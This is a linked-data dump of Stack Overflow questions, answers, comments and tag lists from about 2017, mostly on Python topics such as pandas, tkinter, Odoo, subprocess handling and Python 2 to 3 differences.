has body: Edit: I know this question has been asked a million times, but I can't seem to find anything that works for my specific scenario. For context purposes, I'm running Python 3.6 on a Windows OS. I've tried the following code: def subset_sum(numbers, target, partial=[]): s = sum(partial) # check if the partial sum is equals to target if s == target: print(f"sum({partial})={target}") #print("sum({})={}".format(partial, target)) if s == target: return # if we reach the number why bother to continue for i in range(len(numbers)): n = numbers[i] #remaining = numbers[:i] + numbers[i+1:] remaining = numbers[i+1:] subset_sum(remaining, target, partial + [n]) s= [-765143.910000006, -14522903.45, -185360.52, -161161.559999994, -31947.78, 167450, 47715.46, -1725.24, -1532.91, 338381.23, -40962.19, -321.869999999997, -28215.17, -66345.71, 13063.28, -389.37, 6215992.30000001, 2193804.53000001, -458374.52, 106792.609999979, -335194.01, 203687.94, 91147.0500000003, -18.9500000000004, -19.1200000000016, -2.31494823310641] k= [-2191.62999999806, 5481451.91, -17941.98, 166.719999999996, -2.72848410531878, -3.42659234320308, -13109322.84, -5320290.35000001, -977974.9, 2224562.69999999, 404360.300000002, 579934.88, 1131275.75, 3889264.3, 3364573.99000001, 5225874.59, 2191.62999999806, 176248.27, 19925.25, 2090.84, 11461.32, 3457.83, 4655.76, -17929.46, 449.48, 2187.61, 3084.35, 176274, 48909.78, 55.43] x= [14795.41, 6497.05, 324.6, 5589.19, 2224.45, 5571.92, 3575.24, 3041.33, 4658.22, 6244.92, 433.59, 2146.55, 1489, 28686.93, 205, 2267.76, 1532.91, -12539.19, 46221.03, 9959.25, 20175.14, 735, 9449, 26880, 426.12, 1355.18, 220.48, 695.88, -389.99, -1.12, -37.56] v= [-1.96999999999248, 1.58761892521397, -2.1600499167107, -2791.41999999999, 606814.85, -19.1200000000016, -1.49999999999995, -54.3300000000086, 34608.19, -661601.97, 3149949.45, 32247.78, 350.64, 328574.84, 42461.52, 1273, 6635.21, 504, -3100.27, 9868.07, 148179.28, 29205.46, -206.65, -552] y = [s+k+x+v] if __name__ == "__main__":…
has comment: http://stackoverflow.com/comment/80784272
tagged with: python-3.x
has answer: http://stackoverflow.com/a/46918524
has title: Find combination of numbers from set that equal a given sum - Python
type: UnansweredQuestion
tagged with: python
linked to: http://stackoverflow.com/q/5595425

http://stackoverflow.com/a/47054328
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/47054088
type: Answer
score: 4
upvote count: 4
has body: If you check the json documentation. You will find that circular $ref is not recommended but not prohibited. So, in this case, it is not possible to fully expand all $ref But if you sure that you do not have loops in your $ref I would recommend you to use this repo It has helped me in such situation. Code is really simple so you can change it on your own.
accepted answer of: http://stackoverflow.com/q/47054088

http://stackoverflow.com/a/47028563
type: Answer
accepted answer of: http://stackoverflow.com/q/47026948
has body: If you look in your error message, you will see that spark is calling BroadcastHashJoin. Since the dataframe is large, sending it results in timeout. Few solutions to this problem Increase spark.sql.broadcastTimeout Force spark to use ShuffleHashJoin by setting spark.sql.autoBroadcastJoinThreshold = -1 Use the same partitioner on both dataframes. For example if you have two dataframe and you wish to join them based on id column. You should repartition them by id column df1 = df1.repartiton("id") df2 = df2.repartition("id")
score: 1
type: AcceptedAnswer
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/47026948

http://stackoverflow.com/comment/80907076
comment on: http://stackoverflow.com/q/46979663
has text: Hello Heather, and Welcome to StackOverflow. I wouldn't discouraged by any down-votes, they are rather common for first questions. You should take a look at [help] and [ask]. Ideally, your question should include a [mcve], which yours mostly does! The biggest improvement I would suggest is being explicit about the problems you are encountering. What output did you expect, and how is it different than the output you are currently getting? Are you getting an error? If so, you should post the full error message including the stack trace. "It doesn't work" tends to be recieved poorly around here.
type: Comment
score: 2
type: QuestionComment

http://stackoverflow.com/q/46945556
has title: Python - How to terminate a subprocess when running an opened gnome-terminal
favorite count: 0
type: Question
type: UnansweredQuestion
has body: I will use gedit just as an example. I wanted it to open gedit via another terminal and then close it by killing the terminal: import subprocess import time process = subprocess.Popen(['gnome-terminal', '-e', "gedit"]) time.sleep(3) process.terminate() The problem is that the terminal won't be killed. Any ideas?
tagged with: python
tagged with: python-2.7
has answer: http://stackoverflow.com/a/46946169
downvote count: 0
upvote count: 1
score: 1
answer count: 1
linked to: http://stackoverflow.com/q/4214773

http://stackoverflow.com/comment/80788830
type: QuestionComment
has text: this time it returned that the first input was between the 2nd and 3rd input which is not only not true but it should only be returning the 2nd and true or false. >Please enter the first number - the low number:5 >Please enter the second number - the test number: 15 >Please enter the third number - the high number:20 >The statement 5 lies between 15 and 20 is True. >Would you like to play again (Y/N)? Y >Restarting! >>>
comment on: http://stackoverflow.com/q/46919913
score: 0
type: Comment

http://stackoverflow.com/q/47030458
answer count: 2
tagged with: python
accepted answer: http://stackoverflow.com/a/47033958
has answer: http://stackoverflow.com/a/47033958
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/47033918
score: 0
has answer: http://stackoverflow.com/a/47033918
tagged with: string
type: Question
tagged with: python-3.x
has body: We are given N words, each of length at max 50.All words consist of small case alphabets and digits and then we concatenate all the N words to form a bigger string A.An infinite string S is built by performing infinite steps on A recursively: In ith step, A is concatenated with ′$′ i times followed by reverse of A. Eg: let N be 3 and each word be '1','2' and '3' after concatenating we get A= 123 reverse of a is 321 and on first recursion it will be A=123$321 on second recursion it will be A=123$321$$123$321 And so on… The infinite string thus obtained is S.Now after ith recursion we have to find the character at index say k.Now recursion can be large as pow(10,4) and N which can be large as (pow(10,4)) and length of each word at max is 50 so in worst case scenario our starting string can have a length of 5*(10**5) which is huge so recursion and adding the string won't work. What I came up with is that the string would be a palindrome after 1 st recursion so if I can calculate the pos of '$'*I I can calculate any index since the string before and after it is a palindrome.I came up with a pattern that looks like this: string='123' k=len(string) recursion=100 lis=[] for i in range(1,recursion+1): x=(2**(i-1)) y=x*(k+1)+(x-i) lis.append(y) print(lis[:10]) Output: [4, 8, 17, 36, 75, 154, 313, 632, 1271, 2550] Now I have two problems with it first I also want to add position of adjacent '$' in the list because at position 8 which is the after 2nd recursion there will be more (recursion-1)=1 more '$' at position 9 and likewise for position 17 which is 3rd recursion there will be (3-1) two more '$' in position 18 and 19 and this would continue until ith recursion and for that I would have to insert while loop and that would make my algorithm to give TLE string='123' k=len(string) recursion=100 lis=[] for i in range(1,recursion+1): x=(2**(i-1)) y=x*(k+1)+(x-i) lis.append(y) count=1 while(count&lt;i): y=y+1 lis.append(y) count+=1 print(lis[:10]) Output: [4, 8, 9, 17, 18, 19, …
has title: Infinite string

http://stackoverflow.com/comment/81038371
has text: Also thanks for the answer and sorry for any inconvenience caused.
comment on: http://stackoverflow.com/a/47044942
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/a/46920838
has body: The logic of your between function was slightly wrong (I've rename the variables to make it slightly clearer). In addition, you were not returning the value of the function so it was basically doing nothing. You were also always printing "True". I have modified your code to return the result of the between function. I have made the result of this function a variable called true_or_false which is then printed at the end of each game. In order to get your code to loop, all you need is another while loop which you can break out of if the user does not want to continue. def between(low,test,high): if low &lt; test &lt; high: return True else: return False def main(): #main function need in all programs for automated testing print ("This program will ask the user for 3 numbers and determine if\nthe second number lies betweenthe first and the third") while True: while True: numone=input('\nPlease enter the first number - the low number:') if numone.isdigit(): numone=int(numone) break else: print('Invalid response. Please enter a whole number.') while True: numtwo=input('Please enter the second number - the test number: ') if numtwo.isdigit(): numtwo=int(numtwo) break else: print('Invalid response. Please enter a whole number.') while True: numthree=input('Please enter the third number - the high number:') if numthree.isdigit(): numthree=int(numthree) break else: print('Invalid response. Please enter a whole number.') true_or_false =between(numone,numtwo,numthree) print('The statement ' + str(numtwo) + ' lies between ' + str(numone) + ' and ' + str(numthree) + ' is ' + str(true_or_false) + "\n") restart = "" while restart.upper() != "Y": restart = input('Would you like to play again (Y/N)? ') if restart.upper() == "Y": print('Restarting!') elif restart.upper() == "N": print ('Thank you for playing.') sys.exit() else: print("Invalid response. Please answer with a 'Y' or 'N'") if __name__ == '__main__' : main() #excucte main function
has comment: http://stackoverflow.com/comment/80789451
has comment: http://stackoverflow.com/comment/80789395
accepted answer of: http://stackoverflow.com/q/46919913
score: 2
upvote count: 2
downvote count: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80794994
has comment: http://stackoverflow.com/comment/80789410
has comment: http://stackoverflow.com/comment/80833318
answers question: http://stackoverflow.com/q/46919913
type: Answer
has comment: http://stackoverflow.com/comment/80795103

http://stackoverflow.com/a/46983237
type: Answer
accepted answer of: http://stackoverflow.com/q/46983185
score: 1
type: AcceptedAnswer
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/80914108
answers question: http://stackoverflow.com/q/46983185
has body: Use groupby + agg: df.groupby(['id', 'date']).cost\ .agg([('cost(max)', 'max'), ('cost(min)', 'min')]).reset_index() id date cost(max) cost(min) 0 A 2017-01-17 22 19 1 A 2017-03-29 19 10 2 B 2017-03-16 25 25

http://stackoverflow.com/tag/r
tags question: http://stackoverflow.com/q/46998987
tags question: http://stackoverflow.com/q/46945281
tags question: http://stackoverflow.com/q/46934862
tags question: http://stackoverflow.com/q/47051340
tags question: http://stackoverflow.com/q/46956645
tags question: http://stackoverflow.com/q/47036756
type: Tag
tags question: http://stackoverflow.com/q/46987557
tags question: http://stackoverflow.com/q/47056476
tags question: http://stackoverflow.com/q/46988572
tags question: http://stackoverflow.com/q/46942336
tags question: http://stackoverflow.com/q/47042399
tags question: http://stackoverflow.com/q/47039225
tags question: http://stackoverflow.com/q/46976478
tags question: http://stackoverflow.com/q/46985609
tags question: http://stackoverflow.com/q/46993945
tags question: http://stackoverflow.com/q/46963818
tags question: http://stackoverflow.com/q/46978328
tags question: http://stackoverflow.com/q/46913992
tag name: r
tags question: http://stackoverflow.com/q/46985549

http://stackoverflow.com/q/46937248
has comment: http://stackoverflow.com/comment/80823307
has comment: http://stackoverflow.com/comment/80831764
type: Question
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/80842792
has body: I have a python module called user_module, which resides in a mounted network location. In a script I'm using, I need to import that module - but due to NFS issues, sometimes this path isn't available until we actually change directory to the relevant one and\or restarting autofs service. In order to reproduce the issue and try to WA it - I've manually stopped autofs service, and tried to run my script with my WA - (probably not the most elegant one though): import os import sys from subprocess import call PATH="/some/network/path" sys.path.append(PATH) try: os.chdir(PATH) import user_module except: print "Unable to load user_module, trying to restart autofs service" call(['service', 'autofs', 'restart']) os.chdir(PATH) import user_module # Throws Import error! But, I still get import error due to path unavabilable. Now this is what I find weird - On the same machine, I've tried executing the same operations as in my script, with intentionally pre stopping autofs service, and it works perfect - [root@machine]: service autofs stop # To reproduce the import error [root@machine]: python &gt;&gt;&gt; import os &gt;&gt;&gt; import sys &gt;&gt;&gt; from subprocess import call &gt;&gt;&gt; PATH="/some/network/path" &gt;&gt;&gt; sys.path.append(PATH) &gt;&gt;&gt; os.chdir(PATH) ###################################################################### ################## exception of no such file or directory ############ ###################################################################### &gt;&gt;&gt; call(['service', 'autofs', 'restart']) &gt;&gt;&gt; os.chdir(PATH) # No exception now after restarting the service &gt;&gt;&gt; import user_module # NO Import error here Can someone shed some light on the situation and explain to me why same methodology works through python CLI, but through a script? What is it that I don't know or what is it that I'm missing here? Also - How to overcome this? Thanks
has comment: http://stackoverflow.com/comment/80822044
has comment: http://stackoverflow.com/comment/80821950
tagged with: python-2.7
score: 0
has comment: http://stackoverflow.com/comment/80822095
tagged with: python-import
tagged with: nfs
answer count: 0
has title: Mounted PATH Dependent import works through CLI, not through script

http://stackoverflow.com/q/46967585
has comment: http://stackoverflow.com/comment/80884572
downvote count: 0
accepted answer: http://stackoverflow.com/a/46970876
tagged with: python
has body: I have these two classes: class bsi_production_order(models.Model): _name = 'bsi.production.order' name = fields.Char('Reference', required=True, index=True, copy=False, readonly='True', default='New') date = fields.Date(string="Production Date") production_type = fields.Selection([ ('budgeted','Budgeted'), ('nonbudgeted','Non Budgeted'), ('direct','Direct Order'), ], string='Type of Order', index=True, track_visibility='onchange', copy=False, help=" ") notes = fields.Text(string="Notes") order_lines = fields.One2many('bsi.production.order.lines', 'production_order', states={'finished': [('readonly', True)], 'cancel': [('readonly', True)]}, string="Order lines", copy=True) print_orders = fields.One2many('bsi.print.order', 'production_orders', string="Print Orders") warehouse_quantity = fields.Char(compute='quantity', string='Quantity per warehouse') class bsi_production_order_lines(models.Model): _name = 'bsi.production.order.lines' production_order = fields.Many2one('bsi.production.order', string="Production Orders") isbn = fields.Many2one('product.product', string="ISBN", domain="[('is_isbn', '=', True)]") qty = fields.Integer(string="Quantity") consumed_qty = fields.Float(string="Consumed quantity") remaining_qty = fields.Float(string="Remaining quantity") So, from bsi.production.order, I access bsi.production.order.lines through order_lines field. I need to check for isbn, which is actually a product, check how much there is on stock locations, then compare it, to the order_lines field qty, to see if there is enough quantity. This is my method: @api.multi @api.constrains('order_lines', 'order_lines.qty', 'order_lines.isbn') def check_quantity(self): for rec in self: if rec.order_lines: for line in rec.order_lines: if line.qty &gt; rec.isbn.qty_available: raise Warning(('Quantity is invalid.')) But everytime I click on this button it throws me: Odoo Server Error Traceback (most recent call last): File "C:\Program Files (x86)\Odoo 8.0-20170914\server\.\openerp\htt…
has comment: http://stackoverflow.com/comment/80888040
answer count: 1
has answer: http://stackoverflow.com/a/46970876
has comment: http://stackoverflow.com/comment/80884611
has comment: http://stackoverflow.com/comment/80884903
type: AnsweredQuestion
has title: bsi.production.order has no attribute 'isbn' - Odoo v8 - new api
has comment: http://stackoverflow.com/comment/80885252
score: 1
upvote count: 1
favorite count: 0
type: Question
tagged with: odoo
tagged with: odoo-8
has comment: http://stackoverflow.com/comment/80882574

tkinter
tags question: http://stackoverflow.com/q/47056732
tags question: http://stackoverflow.com/q/47029065
tags question: http://stackoverflow.com/q/46912200
tags question: http://stackoverflow.com/q/47030572
tags question: http://stackoverflow.com/q/46982139
tags question: http://stackoverflow.com/q/46966692
tags question: http://stackoverflow.com/q/46916958
tags question: http://stackoverflow.com/q/46977589
tags question: http://stackoverflow.com/q/47038887
tags question: http://stackoverflow.com/q/46965927
tags question: http://stackoverflow.com/q/46906931
tags question: http://stackoverflow.com/q/46932332
tags question: http://stackoverflow.com/q/47008899
tags question: http://stackoverflow.com/q/46938285
tags question: http://stackoverflow.com/q/46958020
tags question: http://stackoverflow.com/q/46928200
tags question: http://stackoverflow.com/q/47041755
tags question: http://stackoverflow.com/q/46985186
tags question: http://stackoverflow.com/q/46957137
tags question: http://stackoverflow.com/q/46950722
tags question: http://stackoverflow.com/q/46907754
tags question: http://stackoverflow.com/q/46952632
tags question: http://stackoverflow.com/q/46941260
tags question: http://stackoverflow.com/q/46916608
tags question: http://stackoverflow.com/q/47008163
tags question: http://stackoverflow.com/q/46974778
tags question: http://stackoverflow.com/q/46981712
tags question: http://stackoverflow.com/q/46958486
tags question: http://stackoverflow.com/q/46994938
tags question: http://stackoverflow.com/q/46935120
tags question: http://stackoverflow.com/q/47024014
tags question: http://stackoverflow.com/q/47003883
tags question: http://stackoverflow.com/q/47007710
tags question: http://stackoverflow.com/q/46990777
tags question: http://stackoverflow.com/q/46950384
tags question: http://stackoverflow.com/q/47053427
tag name: tkinter
tags question: http://stackoverflow.com/q/46918903
tags question: http://stackoverflow.com/q/46991636
tags question: http://stackoverflow.com/q/46945967
tags question: http://stackoverflow.com/q/47000765
tags question: http://stackoverflow.com/q/46932823
tags question: http://stackoverflow.com/q/47010325
tags question: http://stackoverflow.com/q/46936031
tags question: http://stackoverflow.com/q/46960174
tags question: http://stackoverflow.com/q/46917915
tags question: http://stackoverflow.com/q/47026343
tags question: http://stackoverflow.com/q/46922221
tags question: http://stackoverflow.com/q/46917429
tags question: http://stackoverflow.com/q/47046745
tags question: http://stackoverflow.com/q/47042191
tags question: http://stackoverflow.com/q/46923115
tags question: http://stackoverflow.com/q/46948606
tags question: http://stackoverflow.com/q/46913088
tags question: http://stackoverflow.com/q/46934165
tags question: http://stackoverflow.com/q/46981834
tags question: http://stackoverflow.com/q/46981172
tags question: http://stackoverflow.com/q/46953267
tags question: http://stackoverflow.com/q/46936694
tags question: http://stackoverflow.com/q/46921689
tags question: http://stackoverflow.com/q/46931357
tags question: http://stackoverflow.com/q/46918544
tags question: http://stackoverflow.com/q/46978058
tags question: http://stackoverflow.com/q/46993988
tags question: http://stackoverflow.com/q/46963987
tags question: http://stackoverflow.com/q/46985593
tags question: http://stackoverflow.com/q/46909169
tags question: http://stackoverflow.com/q/46961080
tags question: http://stackoverflow.com/q/46996102
tags question: http://stackoverflow.com/q/46944504
tags question: http://stackoverflow.com/q/46977790
tags question: http://stackoverflow.com/q/47053063
tags question: http://stackoverflow.com/q/46944743
tags question: http://stackoverflow.com/q/46923292
type: Tag
tags question: http://stackoverflow.com/q/46921821
tags question: http://stackoverflow.com/q/47034456
tags question: http://stackoverflow.com/q/47064169
tags question: http://stackoverflow.com/q/46971128
tags question: http://stackoverflow.com/q/46939378

http://stackoverflow.com/q/46960487
has comment: http://stackoverflow.com/comment/80978086
upvote count: 1
tagged with: python
tagged with: pyuno
linked to: http://stackoverflow.com/q/24965406
has answer: http://stackoverflow.com/a/50750174
has comment: http://stackoverflow.com/comment/80969603
has comment: http://stackoverflow.com/comment/80927441
answer count: 3
score: 1
has answer: http://stackoverflow.com/a/68568331
has answer: http://stackoverflow.com/a/68568113
favorite count: 0
has body: I am running Windows 7, Python 3.6 and LibreOffice 5.4.2.2 (installed in this order). GOAL: install and use pyuno on Python 3.6 outside LibreOffice (standalone IDE, int his case: PyCharm 2017.2.3 Community Edition). I would like to be able to run the scripts operating on Calc sheets, just as I can on Excel using Pandas. PROBLEM: when trying to execute script with "import uno" in the beginning, I get missing elements error: File "C:\Users\Adam\AppData\Local\Programs\Python\Python36-32\lib\site-packages\uno\__init__.py", line 4, in &lt;module&gt; from base import Element, Css, Payload, UnoBaseFeature, UnoBaseField ImportError: cannot import name 'Element' I could not install the 'Element' neither using pip nor pip3.6. I installed pyuno via pip3.6 install uno. I tried installing using python3-uno: C:\Users\Adam\AppData\Local\Programs\Python\Python36-32\Scripts&gt;pip3.6 install python3-uno Collecting python3-uno Could not find a version that satisfies the requirement python3-uno (from versions: ) No matching distribution found for python3-uno The same result is for pip3.6 (and pip) install python-uno. I am guessing (or rather read on some other thread) and the init__.py file may be in conflict between my Pycharm/python 3.6 and Python 3.5, which comes with Libre Office but I do not know what to do about it. If you know how to get this thing to work or where to obtain the missing Element, your support would be greatly appreciated.
type: Question
has title: Pyuno on Python 3.6 installation issue
type: UnansweredQuestion
downvote count: 0

http://stackoverflow.com/comment/80763691
comment on: http://stackoverflow.com/q/46908510
has text: The value is the *result* of calling the function. Why not just store the strings, then call `func` on whatever you get out of the dictionary? Also, why bother with `func` when it's just `print`?
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/80907453
type: AnswerComment
score: 0
type: Comment
has text: Do you have another `random.py` somewhere ?
comment on: http://stackoverflow.com/a/46980045

http://stackoverflow.com/q/47027254
upvote count: 24
favorite count: 0
score: 24
type: Question
tagged with: python-3.x
has body: The below code works perfectly for python 2.7.13 import os with open('random.bin','w') as f: f.write(os.urandom(10)) But throws error for python 3 3.6.0 |Anaconda 4.3.0 (64-bit)| (default, Dec 23 2016, 11:57:41) [MSC v.1900 64 bit (AMD64)] Traceback (most recent call last): File "C:/Users/hsingh/PycharmProjects/Item3.py", line 3, in f.write(os.urandom(10)) TypeError: write() argument must be str, not bytes Any reason why there is difference in behaviour or how to fix this
has comment: http://stackoverflow.com/comment/81001776
has comment: http://stackoverflow.com/comment/81001690
has comment: http://stackoverflow.com/comment/81001737
has comment: http://stackoverflow.com/comment/81001635
downvote count: 0
tagged with: python
type: AnsweredQuestion
tagged with: python-2.7
has comment: http://stackoverflow.com/comment/81001705
accepted answer: http://stackoverflow.com/a/47027369
has comment: http://stackoverflow.com/comment/81001801
answer count: 1
has answer: http://stackoverflow.com/a/47027369
has title: TypeError: write() argument must be str, not bytes (Python 3 vs Python 2 )

http://stackoverflow.com/q/47047788
has comment: http://stackoverflow.com/comment/81042863
has comment: http://stackoverflow.com/comment/81042845
type: Question
has title: Populating the column value with previous when NaN
linked to: http://stackoverflow.com/q/27905295
has comment: http://stackoverflow.com/comment/81042854
duplicate of: http://stackoverflow.com/q/27905295
has answer: http://stackoverflow.com/a/47047853
tagged with: dataframe
tagged with: python
type: AnsweredQuestion
score: 0
tagged with: list
has comment: http://stackoverflow.com/comment/81042827
tagged with: pandas
has comment: http://stackoverflow.com/comment/81042850
answer count: 1
accepted answer: http://stackoverflow.com/a/47047853
tagged with: string
has body: I have a pd.Series that looks like this: &gt;&gt;&gt; series 0 This is a foo bar something... 1 NaN 2 NaN 3 foo bar indeed something... 4 NaN 5 NaN 6 foo your bar self... 7 NaN 8 NaN How do I populate the NaN column values with the previous non NaN value in the series? I have tried this: new_column = [] for row in list(series): if type(row) == str: new_column.append(row) else: new_column.append(new_column[-1]) series = pd.Series(new_column) But is there another way to do the same in pandas?

http://stackoverflow.com/a/46921136
score: 1
type: Answer
has body: df1=pd.get_dummies(df.combined.apply(pd.Series).stack()).sum(level=0) df1[df1.apply(lambda x : [x.name in y for y in df.iloc[x.index,2]])]-=0.5 df1 Out[173]: booze concert dance party singing vocals 0 1.0 0 0.5 1 0.5 0.0 1 0.5 1 0.0 0 0.0 0.5 Datainput : df = pd.DataFrame({'primary': [['booze', 'party'] , ['concert']], 'secondary': [['singing', 'dance'], ['booze', 'vocals']], 'combined': [['booze', 'party', 'singing', 'dance'], ['concert', 'booze', 'vocals']]})
type: AcceptedAnswer
downvote count: 0
upvote count: 1
accepted answer of: http://stackoverflow.com/q/46919525
answers question: http://stackoverflow.com/q/46919525

limit
tags question: http://stackoverflow.com/q/46934786
type: Tag
tag name: limit

http://stackoverflow.com/q/46991680
has comment: http://stackoverflow.com/comment/80931004
has comment: http://stackoverflow.com/comment/80930865
has comment: http://stackoverflow.com/comment/80932842
has comment: http://stackoverflow.com/comment/80933067
tagged with: multiple-columns
has comment: http://stackoverflow.com/comment/80930407
has comment: http://stackoverflow.com/comment/80931050
type: Question
has comment: http://stackoverflow.com/comment/80933114
has comment: http://stackoverflow.com/comment/80932605
has comment: http://stackoverflow.com/comment/80931429
has comment: http://stackoverflow.com/comment/80930008
has comment: http://stackoverflow.com/comment/80932959
has comment: http://stackoverflow.com/comment/80930199
has comment: http://stackoverflow.com/comment/80935237
has comment: http://stackoverflow.com/comment/80930398
tagged with: count
tagged with: python
has comment: http://stackoverflow.com/comment/80933032
has comment: http://stackoverflow.com/comment/80931762
has body: I'm pretty new to Python and have searched the web for an answer to this but it is tricky to find without showing it as an example! The data I have data is here: Dataset What I'm after is the number of times each 'HomeTeam' has appeared in both the 'HomeTeam' and 'AwayTeam' columns up to and including the date. So for the last row of data in the sample, the input would be 'Fulham', and the output = 4. This is because 'Fulham' has appeared 4 times in the 'HomeTeam' and 'AwayTeam' columns. For the first row of data, again, the input would be 'Fulham', but the output = 1, as it is the first time 'Fulham' has appeared. For the sample dataset, the output should be: [1,1,2,1,3,1,4] My code so far only allows me to get the number of times each team has appeared in the 'HomeTeam' column only: df['H Count'] = df.groupby(['HomeTeam']).cumcount()+1 This gives me the output: [1,1,1,1,2,1,2] Any help would be much appreciated!
has comment: http://stackoverflow.com/comment/80930459
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80932574
has comment: http://stackoverflow.com/comment/80931343
score: 0
accepted answer: http://stackoverflow.com/a/46994402
has comment: http://stackoverflow.com/comment/80930496
has comment: http://stackoverflow.com/comment/80931729
has comment: http://stackoverflow.com/comment/80938916
has answer: http://stackoverflow.com/a/46994402
has title: Counting across multiple columns in Python
has comment: http://stackoverflow.com/comment/80932262
answer count: 1

http://stackoverflow.com/comment/81044704
type: Comment
comment on: http://stackoverflow.com/q/47048846
has text: Unfortunately, when saving, you cannot specify the index, but you can when loading: `index_col = [1, 0]`
score: 0
type: QuestionComment

http://stackoverflow.com/comment/81062462
comment on: http://stackoverflow.com/a/47057405
score: 0
type: Comment
has text: The first approach, using the filter, actually didn't work for me because he complained about the *list index* being out of range. However the second option, which you and the others stated as being better anyway, worked perfectly. Thanks a lot!
type: AnswerComment

http://stackoverflow.com/comment/81080769
type: QuestionComment
comment on: http://stackoverflow.com/q/47039720
score: 0
has text: I am going to assume it does fix the issue, since I wound up going a different route - thanks though.
type: Comment

http://stackoverflow.com/comment/80884122
has text: nit: `Integer` and `String` in inline code formatting is off for Python: `int` and `str` is more appropriate.
comment on: http://stackoverflow.com/a/46968255
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/122982543
type: AnswerComment
comment on: http://stackoverflow.com/a/68889423
has text: This one worked for me
type: Comment
score: 0

http://stackoverflow.com/q/46917429
tagged with: python
has body: I am working on a simple word processor but every time I click an option in the file menu the options 'grey out' and cannot be clicked anymore. I have searched to find the answer why but I can't seem to find it anywhere else. I'm using macOS 10.12.6 and Python 3.6.3, also my save function seems to be ignoring the 'if prevSaved == True' and skipping to the 'else:' (see code in hastags #) Here's my code: from tkinter import * from tkinter.filedialog import * import time prevSaved = False K = "Untitled" def saveAs(): text = textInput.get(1.0,END) filename = asksaveasfilename(title = "Choose where to save your file") file = open(str(filename) + ".txt" , "w+") file.write(text) file.close() prevSaved = True K, ext = os.path.splitext(os.path.basename(filename)) root.title("Python Word Processor - " + K) #def save(): #if prevSaved == True: # text = textInput.get(1.0,END) # file = open(str(filename) + ".txt" , "w") # file.write(text) # file.close() # else: # saveAs() def opentxt(): prevSaved = True filename = askopenfilename(title = "Choose the file to open", filetypes = (("txt files","*.txt"),("all files","*.*"))) file = open(str(filename), "r") disptext = file.read() file.close() textInput.delete(1.0, END) textInput.insert(END, disptext) K, ext = os.path.splitext(os.path.basename(filename)) root.title("Python Word Processor - " + K) root = Tk() #Creates the GUI called root root.resizable(False,False) #Makes the window non resizable root.geometry('720x800') #Makes the window 1280x720 root.title("Python Word Processor - " + K) root.iconbitmap('icon.ico') #Widgets - everything needs to have .pack() for it to show up, entries also need #to have the pack.() on the line below o retrieve the information stored inside #tkinter releif options - FLAT,RAISED,SUNKEN,GROOVE,RIDGE f1 = Frame(root, width=720, height=50) f1.pack(side=TOP) f1.pack_propagate(0) #doesnt let its children control its size mainmenu=Menu(root) filemenu=Menu(mainmenu) filemenu.add_command(label="Save As", command…
tagged with: python-3.6
type: Question
has comment: http://stackoverflow.com/comment/80783369
has comment: http://stackoverflow.com/comment/80782920
tagged with: tkinter
answer count: 0
type: UnansweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/80782363
has title: tkinter menu buttons greyed our after clicking them

http://stackoverflow.com/comment/80988156
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47020241
type: Comment
has text: Maybe you can try `print u'San\xe9'.encode('utf-8')` or `print u'San\xe9'.encode('utf-8', errors='ignore')`. If it works in the 2nd case it would be `San` in the output

http://stackoverflow.com/q/46946218
tagged with: http://stackoverflow.com/tag/html
has title: How to grab data using XPath on javascript websites?
tagged with: javascript
tagged with: python
has answer: http://stackoverflow.com/a/46946550
type: Question
linked to: http://stackoverflow.com/q/2018026
tagged with: xpath
score: 0
has comment: http://stackoverflow.com/comment/80839761
answer count: 2
has body: I would like to grab data on this news site. http://www.inquirer.net/ I want to grab news titles on the tiles. Here's the screen shot of the inspected code As you can see, one of the title of the tile that I want to grab is already there. When I copy the xpath from the browser it returns //*[@id="tgs3_info"]/h2 I tried to run my python code. import lxml.html import lxml.etree import requests link = 'http://www.inquirer.net/' res = requests.get(link) r = res.content html_content = lxml.html.fromstring(r) root = html_content.xpath('//*[@id="tgs3_info"]/h2') print(root) but it returns an empty list. I tried to search for an answer here on stackoverflow and in the internet. I don't really get it. When you view the page source of the site. The data that I want is not in the javascript function. It is in the div so I don't understand why I can't grab the data. I hope I could find answer here.
possible better answer: http://stackoverflow.com/a/46946629
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/46946629
accepted answer: http://stackoverflow.com/a/46946550

http://stackoverflow.com/q/46963740
favorite count: 0
type: Question
has title: How do I loop through certain parts of a text file in Python?
has answer: http://stackoverflow.com/a/46964023
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/80875441
score: 4
upvote count: 4
has answer: http://stackoverflow.com/a/46963809
tagged with: for-loop
has body: Currently, a Python beginner looking for some help. I'm reading from a text file with 365 lines of integers. Each integer is representative of a day of the year. Like this, but for 365 lines: 1102 9236 10643 2376 6815 10394 3055 3750 4181 5452 10745 I need to go through the whole file and separate the 365 days into each of the 12 months and take the average of the numbers of each month. For instance, the first 31 lines are January, take the average, print it, then continue from there... At this point I have written code that goes through the whole file and gives a total for the year and an average per day, but am stuck on splitting the file into the separate months and taking individual averages. What do I do to achieve this? Here's my current code: import math def stepCounter (): stepsFile = open("steps.txt", "r") stepsFile.readline() count = 0 for line in stepsFile: steps = int(line) count = count + steps avg = count / 365 print(count, "steps taken this year!") print("That's about", round(avg), "steps each day!") stepsFile.close() stepCounter() I hope this question was clear enough. Thanks for any help!
answer count: 2
downvote count: 0

http://stackoverflow.com/comment/80931429
type: Comment
comment on: http://stackoverflow.com/q/46991680
type: QuestionComment
score: 0
has text: Can you please show your code?

search-engine
type: Tag
tag name: search-engine
tags question: http://stackoverflow.com/q/46977923

http://stackoverflow.com/a/46960910
has comment: http://stackoverflow.com/comment/81235698
has comment: http://stackoverflow.com/comment/80972378
answers question: http://stackoverflow.com/q/46937365
has comment: http://stackoverflow.com/comment/80977242
has comment: http://stackoverflow.com/comment/80971919
has comment: http://stackoverflow.com/comment/80970034
has comment: http://stackoverflow.com/comment/80974234
has comment: http://stackoverflow.com/comment/80971049
has comment: http://stackoverflow.com/comment/80974703
